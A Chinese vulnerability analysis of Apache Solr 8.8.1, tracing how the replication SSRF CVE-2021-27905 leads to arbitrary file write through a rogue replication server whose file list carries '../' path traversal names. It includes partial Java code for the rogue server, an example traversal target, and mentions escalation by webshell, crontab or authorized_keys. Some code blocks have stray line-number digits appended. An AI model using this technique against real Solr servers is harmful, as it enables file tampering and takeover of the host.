作者：Ricter Z
原文链接：http://noahblog.360.cn/apache-solr-8-8-1-ssrf-to-file-write/

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞（CVE-2021-27905）说起。正巧后续的工作中遇到了 Solr，我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制（Replication）时，可以传入任意 URL，而 Solr 会针对此 URL 进行请求。

说起主从复制，那么对于 Redis 主从复制漏洞比较熟悉的人会知道，可以利用主从复制的功能实现任意文件写入，那么 Solr 是否会存在这个问题呢？通过进一步的分析，我发现这个漏洞岂止于 SSRF，简直就是 Redis Replication 文件写入的翻版，通过构造合法的返回，可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr，可以通过写入 JSP 文件获取 Webshell，对于高版本 Solr，则需要结合用户权限，写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时，会请求传入的 masterUrl，漏洞点如下：

SSRF 漏洞到这里就结束了。那么后续呢，如果是正常的主从复制，又会经历怎么样的过程？

0x03. Replication 代码分析

我们继续跟进 doFetch 方法，发现会调用到 fetchLatestIndex 方法：

在此方法中，首先去请求目标 URL 的 Solr 实例，接着对于返回值的 indexversion 和 generation 进行判断：

如果全部合法（参加下图的 if 条件），则继续请求服务，获取文件列表：

文件列表包含filelist、confFiles 和 tlogFiles 三部分，如果目标 Solr 实例返回的文件列表不为空，则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist。

获取下载文件的列表后，接着 Solr 会进行文件的下载操作，按照 filesToDownload、 tlogFilesToDownload、confFilesToDownload 的顺序进行下载。

我们随意跟进某个下载方法，比如 downloadConfFiles：

可以发现，saveAs 变量是取于 files 的某个属性，而最终会直接创建一个 File 对象：

也就是说，如果 file 的 alias 或者 name 可控，则可以利用 ../ 进行目录遍历，造成任意文件写入的效果。再回到 fetchFileList 查看，可以发现，filesToDownload 是完全从目标 Solr 实例的返回中获取的，也就是说是完全可控的。

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit，我们也需要编写一个 Rogue Solr Server，需要实现几种 commands，包括 indexversion、filelist 以及 filecontent。部分代码如下：

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()123456789101112131415

返回恶意文件的代码如下：

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;1234567891011121314151617181920212223242526272829303132

其中 DIST_FILE 为攻击者传入的参数，比如传入 ../../../../../../../../tmp/pwn.txt，而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下：

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1597/